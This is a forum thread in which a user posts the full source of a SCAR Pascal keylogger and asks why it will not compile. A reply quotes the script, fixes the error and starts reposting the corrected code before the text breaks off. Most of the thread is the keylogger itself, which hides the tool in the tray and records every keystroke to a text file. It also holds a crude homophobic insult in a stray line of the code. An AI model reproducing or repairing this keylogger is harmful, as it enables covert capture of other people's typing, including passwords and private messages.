Problem with Jesus's Keylogger V 3.1!

[imported_charlie_bard]

heres the script: /////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
////// This script can be started when ever as it saves the text in //////
////// to a text document file so you can record massive amounts of //////
////// text and read it easily. //////
////// //////
////// INSTRUCTIONS //////
////// 1.Press Ctrl + M to hide SCAR (goes into icon tray) //////
////// 2.Press Ctrl + Alt + R to start recording //////
////// 3.press F11 and F12 to stop recording if you stop the script //////
////// it will not save your Keylogs. //////
////// //////
////// Have Fun =] Again... //////
////// //////
////// INFORMATION //////
////// Jesus's Keylogger V 3.0 //////
////// Created by Jesus pwns Zezima [ Shade 45 ] //////
////// on Tuesday 22 July 2008 //////
////// //////
////// New features: //////
////// -Logs Saved into text document //////
////// //////
////// //////
////// Please Report All Bugs and Suggestions //////
////// //////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////






program New;

const
LogName = 'KeyLogs'; ////Change to what you want your keylogs to be called
FileType = '.txt'; ////Change to what file type you want

var
Information : String;
CharCount : Integer;


Procedure SaveReport;
var
savefilecreate: Tstringlist;
Begin
savefilecreate := Tstringlist.create;
savefilecreate.add(Information);
If Not savetofile(savefilecreate, apppath + logname + FileType) Then
WriteLn('Failed to save keylogs.')
Else
WriteLn('Keylog Saving Succesful');
End;

procedure findkeys;
begin
repeat

if iskeydown(' ') then
begin
CharCount := CharCount + 1;
insert(' ', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('a') then
begin
CharCount := CharCount + 1;
insert('a', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('b') then
begin
CharCount := CharCount + 1;
insert('b', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('c') then
begin
CharCount := CharCount + 1;
insert('c', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('d') then
begin
CharCount := CharCount + 1;
insert('d', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('e') then
begin
CharCount := CharCount + 1;
insert('e', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('f') then
begin
CharCount := CharCount + 1;
insert('f', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('g') then
begin
CharCount := CharCount + 1;
insert('g', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('h') then
begin
CharCount := CharCount + 1;
insert('h', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('i') then
begin
CharCount := CharCount + 1;
insert('i', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('j') then
begin
CharCount := CharCount + 1;
insert('j', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('k') then
begin
CharCount := CharCount + 1;
insert('k', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('l') then
begin
CharCount := CharCount + 1;
insert('l', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('m') then
begin
CharCount := CharCount + 1;
insert('m', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('n') then
begin
CharCount := CharCount + 1;
insert('n', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('o') then
begin
CharCount := CharCount + 1;
insert('o', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('p') then
begin
CharCount := CharCount + 1;
insert('p', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('q') then
begin
CharCount := CharCount + 1;
insert('q', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('r') then
begin
CharCount := CharCount + 1;
insert('r', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('s') then
begin
CharCount := CharCount + 1;
insert('s', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('t') then
begin
CharCount := CharCount + 1;
insert('t', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('u') then
begin
CharCount := CharCount + 1;
insert('u', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('v') then
begin
CharCount := CharCount + 1;
insert('v', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('w') then
begin
CharCount := CharCount + 1;
insert('w', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('x') then
begin
CharCount := CharCount + 1;
insert('x', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('y') then
begin
CharCount := CharCount + 1;
insert('y', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('z') then
begin
CharCount := CharCount + 1;
insert('z', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('1') then
begin
CharCount := CharCount + 1;
insert('1', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('2') then
begin
CharCount := CharCount + 1;
insert('2', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('3') then
begin
CharCount := CharCount + 1;
insert('3', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('4') then
begin
CharCount := CharCount + 1;
insert('4', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('5') then
begin
CharCount := CharCount + 1;
insert('5', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('6') then
begin
CharCount := CharCount + 1;
insert('6', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('7') then
begin
CharCount := CharCount + 1;
insert('7', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('8') then
begin
CharCount := CharCount + 1;
insert('8', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('9') then
begin
CharCount := CharCount + 1;
insert('9', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('0') then
begin
CharCount := CharCount + 1;
insert('0', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('`') then
begin
CharCount := CharCount + 1;
insert('`', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(';') then
begin
CharCount := CharCount + 1;
insert(';', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(',') then
begin
CharCount := CharCount + 1;
insert(',', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('.') then
begin
CharCount := CharCount + 1;
insert('.', information, CharCount + 1);
wait(100)
end;


if iskeydown('/') then
begin
CharCount := CharCount + 1;
insert('/', information, CharCount + 1);
wait(100)
end;


if iskeydown('-') then
begin
CharCount := CharCount + 1;
insert('-', information, CharCount + 1);
wait(100)
end;


if iskeydown('=') then
begin
CharCount := CharCount + 1;
insert('=', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('\') then
begin
CharCount := CharCount + 1;
insert('\', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('[') then
begin
CharCount := CharCount + 1;
insert('[', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(']') then
begin
CharCount := CharCount + 1;
insert(']', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('a') then
begin
CharCount := CharCount + 1;
insert('A', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('b') then
begin
CharCount := CharCount + 1;
insert('B', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('c') then
begin
CharCount := CharCount + 1;
insert('C', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('d') then
begin
CharCount := CharCount + 1;
insert('D', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('e') then
begin
CharCount := CharCount + 1;
insert('E', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('f') then
begin
CharCount := CharCount + 1;
insert('F', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('g') then
begin
CharCount := CharCount + 1;
insert('G', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('h') then
begin
CharCount := CharCount + 1;
insert('H', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('i') then
begin
CharCount := CharCount + 1;
insert('I', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('j') then
begin
CharCount := CharCount + 1;
insert('J', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('k') then
begin
CharCount := CharCount + 1;
insert('K', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('l') then
begin
CharCount := CharCount + 1;
insert('L', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('m') then
begin
CharCount := CharCount + 1;
insert('M', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('n') then
begin
CharCount := CharCount + 1;
insert('N', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('o') then
begin
CharCount := CharCount + 1;
insert('O', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('p') then
begin
CharCount := CharCount + 1;
insert('P', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('q') then
begin
CharCount := CharCount + 1;
insert('Q', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('r') then
begin
CharCount := CharCount + 1;
insert('R', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('s') then
begin
CharCount := CharCount + 1;
insert('S', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('t') then
begin
CharCount := CharCount + 1;
insert('T', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('u') then
begin
CharCount := CharCount + 1;
insert('U', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('v') then
begin
CharCount := CharCount + 1;
insert('V', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('w') then
begin
CharCount := CharCount + 1;
insert('W', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('x') then
begin
CharCount := CharCount + 1;
insert('X', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('y') then
begin
CharCount := CharCount + 1;
insert('Y', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('z') then
begin
CharCount := CharCount + 1;
insert('Z', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('1') then
begin
CharCount := CharCount + 1;
insert('!', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('2') then
begin
CharCount := CharCount + 1;
insert('@', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('3') then
begin
CharCount := CharCount + 1;
insert('#', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('4') then
begin
CharCount := CharCount + 1;
insert('$', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('5') then
begin
CharCount := CharCount + 1;
insert('%', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('6') then
begin
CharCount := CharCount + 1;
insert('^', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('7') then
begin
CharCount := CharCount + 1;
insert('&', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('8') then
begin
CharCount := CharCount + 1;
insert('*', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('9') then
begin
CharCount := CharCount + 1;
insert('(', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('0') then
begin
CharCount := CharCount + 1;
insert(')', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('-') then
begin
CharCount := CharCount + 1;
insert('_', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('=') then
begin
CharCount := CharCount + 1;
insert('+', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('\') then
begin
CharCount := CharCount + 1;
insert('|', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('`') then
begin
CharCount := CharCount + 1;
insert('~', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(';') then
begin
CharCount := CharCount + 1;
insert(':', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('[') then
begin
CharCount := CharCount + 1;
insert('{', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(']') then
begin
CharCount := CharCount + 1;
insert('}', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(',') then
begin
CharCount := CharCount + 1;
insert('<', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('.') then
begin
CharCount := CharCount + 1;
insert('>', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('/') then
begin
CharCount := CharCount + 1;
insert('?', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfkeydown(11) and isfkeydown(12) then
begin
savereport;
wait(200)
terminatescript;
end;
until(false)
end;

begin
findkeys;Hello u gay shit lol 5 3s 333333 wel 6 lol hello
end.

but it keeps giving me this error: Line 816: [Error] (816:10): Unknown identifier 'Hello' in script C:\Program Files\SCAR 3.15\Scripts\Scripting Tools\Jesus Keylogger v3.1.scar
And if i delete this part it just comes up with: [Error] (814:1): Unexpected end of file.
If someone knows how to fix this please post how below cos its really annoying havig a script that dosent work :fiery: :fiery: :fiery:

[joelster134]

I got it to work but it just started then stopped..


[QUOTE=charlie_bard;487218] /////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
////// This script can be started when ever as it saves the text in //////
////// to a text document file so you can record massive amounts of //////
////// text and read it easily. //////
////// //////
////// INSTRUCTIONS //////
////// 1.Press Ctrl + M to hide SCAR (goes into icon tray) //////
////// 2.Press Ctrl + Alt + R to start recording //////
////// 3.press F11 and F12 to stop recording if you stop the script //////
////// it will not save your Keylogs. //////
////// //////
////// Have Fun =] Again... //////
////// //////
////// INFORMATION //////
////// Jesus's Keylogger V 3.0 //////
////// Created by Jesus pwns Zezima [ Shade 45 ] //////
////// on Tuesday 22 July 2008 //////
////// //////
////// New features: //////
////// -Logs Saved into text document //////
////// //////
////// //////
////// Please Report All Bugs and Suggestions //////
////// //////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////






program New;

const
LogName = 'KeyLogs'; ////Change to what you want your keylogs to be called
FileType = '.txt'; ////Change to what file type you want

var
Information : String;
CharCount : Integer;


Procedure SaveReport;
var
savefilecreate: Tstringlist;
Begin
savefilecreate := Tstringlist.create;
savefilecreate.add(Information);
If Not savetofile(savefilecreate, apppath + logname + FileType) Then
WriteLn('Failed to save keylogs.')
Else
WriteLn('Keylog Saving Succesful');
End;

procedure findkeys;
begin
repeat

if iskeydown(' ') then
begin
CharCount := CharCount + 1;
insert(' ', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('a') then
begin
CharCount := CharCount + 1;
insert('a', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('b') then
begin
CharCount := CharCount + 1;
insert('b', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('c') then
begin
CharCount := CharCount + 1;
insert('c', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('d') then
begin
CharCount := CharCount + 1;
insert('d', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('e') then
begin
CharCount := CharCount + 1;
insert('e', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('f') then
begin
CharCount := CharCount + 1;
insert('f', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('g') then
begin
CharCount := CharCount + 1;
insert('g', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('h') then
begin
CharCount := CharCount + 1;
insert('h', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('i') then
begin
CharCount := CharCount + 1;
insert('i', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('j') then
begin
CharCount := CharCount + 1;
insert('j', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('k') then
begin
CharCount := CharCount + 1;
insert('k', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('l') then
begin
CharCount := CharCount + 1;
insert('l', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('m') then
begin
CharCount := CharCount + 1;
insert('m', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('n') then
begin
CharCount := CharCount + 1;
insert('n', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('o') then
begin
CharCount := CharCount + 1;
insert('o', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('p') then
begin
CharCount := CharCount + 1;
insert('p', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('q') then
begin
CharCount := CharCount + 1;
insert('q', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('r') then
begin
CharCount := CharCount + 1;
insert('r', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('s') then
begin
CharCount := CharCount + 1;
insert('s', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('t') then
begin
CharCount := CharCount + 1;
insert('t', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('u') then
begin
CharCount := CharCount + 1;
insert('u', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('v') then
begin
CharCount := CharCount + 1;
insert('v', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('w') then
begin
CharCount := CharCount + 1;
insert('w', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('x') then
begin
CharCount := CharCount + 1;
insert('x', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('y') then
begin
CharCount := CharCount + 1;
insert('y', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('z') then
begin
CharCount := CharCount + 1;
insert('z', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('1') then
begin
CharCount := CharCount + 1;
insert('1', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('2') then
begin
CharCount := CharCount + 1;
insert('2', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('3') then
begin
CharCount := CharCount + 1;
insert('3', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('4') then
begin
CharCount := CharCount + 1;
insert('4', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('5') then
begin
CharCount := CharCount + 1;
insert('5', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('6') then
begin
CharCount := CharCount + 1;
insert('6', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('7') then
begin
CharCount := CharCount + 1;
insert('7', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('8') then
begin
CharCount := CharCount + 1;
insert('8', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('9') then
begin
CharCount := CharCount + 1;
insert('9', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('0') then
begin
CharCount := CharCount + 1;
insert('0', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('`') then
begin
CharCount := CharCount + 1;
insert('`', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(';') then
begin
CharCount := CharCount + 1;
insert(';', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(',') then
begin
CharCount := CharCount + 1;
insert(',', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('.') then
begin
CharCount := CharCount + 1;
insert('.', information, CharCount + 1);
wait(100)
end;


if iskeydown('/') then
begin
CharCount := CharCount + 1;
insert('/', information, CharCount + 1);
wait(100)
end;


if iskeydown('-') then
begin
CharCount := CharCount + 1;
insert('-', information, CharCount + 1);
wait(100)
end;


if iskeydown('=') then
begin
CharCount := CharCount + 1;
insert('=', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('\') then
begin
CharCount := CharCount + 1;
insert('\', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('[') then
begin
CharCount := CharCount + 1;
insert('[', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(']') then
begin
CharCount := CharCount + 1;
insert(']', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('a') then
begin
CharCount := CharCount + 1;
insert('A', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('b') then
begin
CharCount := CharCount + 1;
insert('B', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('c') then
begin
CharCount := CharCount + 1;
insert('C', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('d') then
begin
CharCount := CharCount + 1;
insert('D', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('e') then
begin
CharCount := CharCount + 1;
insert('E', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('f') then
begin
CharCount := CharCount + 1;
insert('F', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('g') then
begin
CharCount := CharCount + 1;
insert('G', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('h') then
begin
CharCount := CharCount + 1;
insert('H', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('i') then
begin
CharCount := CharCount + 1;
insert('I', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('j') then
begin
CharCount := CharCount + 1;
insert('J', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('k') then
begin
CharCount := CharCount + 1;
insert('K', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('l') then
begin
CharCount := CharCount + 1;
insert('L', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('m') then
begin
CharCount := CharCount + 1;
insert('M', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('n') then
begin
CharCount := CharCount + 1;
insert('N', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('o') then
begin
CharCount := CharCount + 1;
insert('O', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('p') then
begin
CharCount := CharCount + 1;
insert('P', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('q') then
begin
CharCount := CharCount + 1;
insert('Q', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('r') then
begin
CharCount := CharCount + 1;
insert('R', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('s') then
begin
CharCount := CharCount + 1;
insert('S', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('t') then
begin
CharCount := CharCount + 1;
insert('T', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('u') then
begin
CharCount := CharCount + 1;
insert('U', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('v') then
begin
CharCount := CharCount + 1;
insert('V', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('w') then
begin
CharCount := CharCount + 1;
insert('W', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('x') then
begin
CharCount := CharCount + 1;
insert('X', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('y') then
begin
CharCount := CharCount + 1;
insert('Y', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('z') then
begin
CharCount := CharCount + 1;
insert('Z', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('1') then
begin
CharCount := CharCount + 1;
insert('!', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('2') then
begin
CharCount := CharCount + 1;
insert('@', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('3') then
begin
CharCount := CharCount + 1;
insert('#', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('4') then
begin
CharCount := CharCount + 1;
insert('$', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('5') then
begin
CharCount := CharCount + 1;
insert('%', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('6') then
begin
CharCount := CharCount + 1;
insert('^', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('7') then
begin
CharCount := CharCount + 1;
insert('&', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('8') then
begin
CharCount := CharCount + 1;
insert('*', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('9') then
begin
CharCount := CharCount + 1;
insert('(', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('0') then
begin
CharCount := CharCount + 1;
insert(')', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('-') then
begin
CharCount := CharCount + 1;
insert('_', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('=') then
begin
CharCount := CharCount + 1;
insert('+', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('\') then
begin
CharCount := CharCount + 1;
insert('|', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('`') then
begin
CharCount := CharCount + 1;
insert('~', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(';') then
begin
CharCount := CharCount + 1;
insert(':', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('[') then
begin
CharCount := CharCount + 1;
insert('{', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(']') then
begin
CharCount := CharCount + 1;
insert('}', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(',') then
begin
CharCount := CharCount + 1;
insert('<', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('.') then
begin
CharCount := CharCount + 1;
insert('>', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('/') then
begin
CharCount := CharCount + 1;
insert('?', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfkeydown(11) and isfkeydown(12) then
begin
savereport;
wait(200)
terminatescript;
end;
until(false)
end;

begin
findkeys;Hello u gay shit lol 5 3s 333333 wel 6 lol hello
end.

Add in SCAR tags (for script)

as for your error....remove that line or put '' around it like

findkeys;'Hello u gay shit lol 5 3s 333333 wel 6 lol hello';

or remove it and put

begin
end.

like this


/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
////// This script can be started when ever as it saves the text in //////
////// to a text document file so you can record massive amounts of //////
////// text and read it easily. //////
////// //////
////// INSTRUCTIONS //////
////// 1.Press Ctrl + M to hide SCAR (goes into icon tray) //////
////// 2.Press Ctrl + Alt + R to start recording //////
////// 3.press F11 and F12 to stop recording if you stop the script //////
////// it will not save your Keylogs. //////
////// //////
////// Have Fun =] Again... //////
////// //////
////// INFORMATION //////
////// Jesus's Keylogger V 3.0 //////
////// Created by Jesus pwns Zezima [ Shade 45 ] //////
////// on Tuesday 22 July 2008 //////
////// //////
////// New features: //////
////// -Logs Saved into text document //////
////// //////
////// //////
////// Please Report All Bugs and Suggestions //////
////// //////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////






program New;

const
LogName = 'KeyLogs'; ////Change to what you want your keylogs to be called
FileType = '.txt'; ////Change to what file type you want

var
Information : String;
CharCount : Integer;


Procedure SaveReport;
var
savefilecreate: Tstringlist;
Begin
savefilecreate := Tstringlist.create;
savefilecreate.add(Information);
If Not savetofile(savefilecreate, apppath + logname + FileType) Then
WriteLn('Failed to save keylogs.')
Else
